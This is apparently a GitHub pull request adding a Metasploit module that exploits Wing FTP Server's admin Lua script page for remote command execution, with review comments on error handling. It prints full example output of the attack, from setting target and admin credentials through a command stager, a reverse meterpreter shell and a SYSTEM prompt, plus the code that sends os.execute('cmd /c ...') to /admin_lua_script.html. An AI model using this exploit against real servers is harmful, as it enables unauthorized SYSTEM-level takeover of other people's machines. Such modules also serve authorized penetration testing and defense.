Add Wing FTP Server post-auth remote command execution module

#### Add Wing FTP Server post-auth remote command execution module.

Executes commands in the context of SYSTEM when authenticated as an admin user. By default, it creates a reverse meterpreter SYSTEM shell.

* Homepage: http://www.wftpserver.com/
* Download: http://www.wftpserver.com/download.htm
* Tested on: Wing FTP Server versions 4.3.8 (most recent as of this PR) and 4.3.6 (Windows 7 SP1 and Windows 8.1)
* Usage:
 * Install Wing FTP Server
 * Run the module with valid admin credentials
 * ???
 * SYSTEM

#### Example Output:
````
msf > use exploit/windows/ftp/wing_ftp_server_rce 
msf exploit(wing_ftp_server_rce) > set rhost 192.168.1.67
rhost => 192.168.1.67
msf exploit(wing_ftp_server_rce) > set username admin
username => admin
msf exploit(wing_ftp_server_rce) > set password password
password => password
msf exploit(wing_ftp_server_rce) > exploit

[*] Started reverse handler on 192.168.1.72:4444 
[*] 192.168.1.67:5466 - Authenticating
[*] 192.168.1.67:5466 - Sending payload
[*] Command Stager progress -   1.47% done (1499/102292 bytes)
[*] Command Stager progress -   2.93% done (2998/102292 bytes)
[*] Command Stager progress -   4.40% done (4497/102292 bytes)
[*] Command Stager progress -   5.86% done (5996/102292 bytes)
[*] Command Stager progress -   7.33% done (7495/102292 bytes)
[*] Command Stager progress -   8.79% done (8994/102292 bytes)
[*] Command Stager progress -  10.26% done (10493/102292 bytes)
[*] Command Stager progress -  11.72% done (11992/102292 bytes)
[*] Command Stager progress -  13.19% done (13491/102292 bytes)
[*] Command Stager progress -  14.65% done (14990/102292 bytes)
[*] Command Stager progress -  16.12% done (16489/102292 bytes)
[*] Command Stager progress -  17.58% done (17988/102292 bytes)
[*] Command Stager progress -  19.05% done (19487/102292 bytes)
[*] Command Stager progress -  20.52% done (20986/102292 bytes)
[*] Command Stager progress -  21.98% done (22485/102292 bytes)
[*] Command Stager progress -  23.45% done (23984/102292 bytes)
[*] Command Stager progress -  24.91% done (25483/102292 bytes)
[*] Command Stager progress -  26.38% done (26982/102292 bytes)
[*] Command Stager progress -  27.84% done (28481/102292 bytes)
[*] Command Stager progress -  29.31% done (29980/102292 bytes)
[*] Command Stager progress -  30.77% done (31479/102292 bytes)
[*] Command Stager progress -  32.24% done (32978/102292 bytes)
[*] Command Stager progress -  33.70% done (34477/102292 bytes)
[*] Command Stager progress -  35.17% done (35976/102292 bytes)
[*] Command Stager progress -  36.64% done (37475/102292 bytes)
[*] Command Stager progress -  38.10% done (38974/102292 bytes)
[*] Command Stager progress -  39.57% done (40473/102292 bytes)
[*] Command Stager progress -  41.03% done (41972/102292 bytes)
[*] Command Stager progress -  42.50% done (43471/102292 bytes)
[*] Command Stager progress -  43.96% done (44970/102292 bytes)
[*] Command Stager progress -  45.43% done (46469/102292 bytes)
[*] Command Stager progress -  46.89% done (47968/102292 bytes)
[*] Command Stager progress -  48.36% done (49467/102292 bytes)
[*] Command Stager progress -  49.82% done (50966/102292 bytes)
[*] Command Stager progress -  51.29% done (52465/102292 bytes)
[*] Command Stager progress -  52.75% done (53964/102292 bytes)
[*] Command Stager progress -  54.22% done (55463/102292 bytes)
[*] Command Stager progress -  55.69% done (56962/102292 bytes)
[*] Command Stager progress -  57.15% done (58461/102292 bytes)
[*] Command Stager progress -  58.62% done (59960/102292 bytes)
[*] Command Stager progress -  60.08% done (61459/102292 bytes)
[*] Command Stager progress -  61.55% done (62958/102292 bytes)
[*] Command Stager progress -  63.01% done (64457/102292 bytes)
[*] Command Stager progress -  64.48% done (65956/102292 bytes)
[*] Command Stager progress -  65.94% done (67455/102292 bytes)
[*] Command Stager progress -  67.41% done (68954/102292 bytes)
[*] Command Stager progress -  68.87% done (70453/102292 bytes)
[*] Command Stager progress -  70.34% done (71952/102292 bytes)
[*] Command Stager progress -  71.81% done (73451/102292 bytes)
[*] Command Stager progress -  73.27% done (74950/102292 bytes)
[*] Command Stager progress -  74.74% done (76449/102292 bytes)
[*] Command Stager progress -  76.20% done (77948/102292 bytes)
[*] Command Stager progress -  77.67% done (79447/102292 bytes)
[*] Command Stager progress -  79.13% done (80946/102292 bytes)
[*] Command Stager progress -  80.60% done (82445/102292 bytes)
[*] Command Stager progress -  82.06% done (83944/102292 bytes)
[*] Command Stager progress -  83.53% done (85443/102292 bytes)
[*] Command Stager progress -  84.99% done (86942/102292 bytes)
[*] Command Stager progress -  86.46% done (88441/102292 bytes)
[*] Command Stager progress -  87.92% done (89940/102292 bytes)
[*] Command Stager progress -  89.39% done (91439/102292 bytes)
[*] Command Stager progress -  90.86% done (92938/102292 bytes)
[*] Command Stager progress -  92.32% done (94437/102292 bytes)
[*] Command Stager progress -  93.79% done (95936/102292 bytes)
[*] Command Stager progress -  95.25% done (97435/102292 bytes)
[*] Command Stager progress -  96.72% done (98934/102292 bytes)
[*] Command Stager progress -  98.15% done (100400/102292 bytes)
[*] Command Stager progress -  99.55% done (101827/102292 bytes)
[*] Sending stage (769536 bytes) to 192.168.1.67
[*] Command Stager progress - 100.00% done (102292/102292 bytes)
[*] Meterpreter session 1 opened (192.168.1.72:4444 -> 192.168.1.67:1120) at 2014-08-26 07:53:19 -0700

meterpreter > shell
Process 3492 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>
````
Don't check for nil specifically, just use !res

If !res
  #raise a connect error or just print_error "Unable to connect" or some such
elsif res != 200
  # appropriate action
else
  # Success
end

Alternatively you could use 'raise somekindoferror unless res' and then just check the res value after

-Josh

> On Aug 27, 2014, at 7:52, Spencer McIntyre <notifications@github.com> wrote:
> 
> In modules/exploits/windows/ftp/wing_ftp_server_rce.rb:
> 
> > +    print_status("#{peer} - Sending payload")
> > +    # Execute the cmdstager, max length of the commands is ~1500
> > +    execute_cmdstager({:flavor => :vbs, :linemax => 1500})
> > +  end
> > +
> > +  def execute_command(cmd, opts = {})
> > +    command = "os.execute('cmd /c #{cmd}')"
> > +
> > +    res = send_request_cgi({
> > +      'uri'       => '/admin_lua_script.html',
> > +      'method'    => 'POST',
> > +      'cookie'    => @session_cookie,
> > +      'vars_post' => { 'command' => command }
> > +    })
> > +
> > +    if res and res.code != 200
> I think this should also check if res.nil? and fail appropriately. As it is now, if res is nil it will not fail.
> 
> —
> Reply to this email directly or view it on GitHub.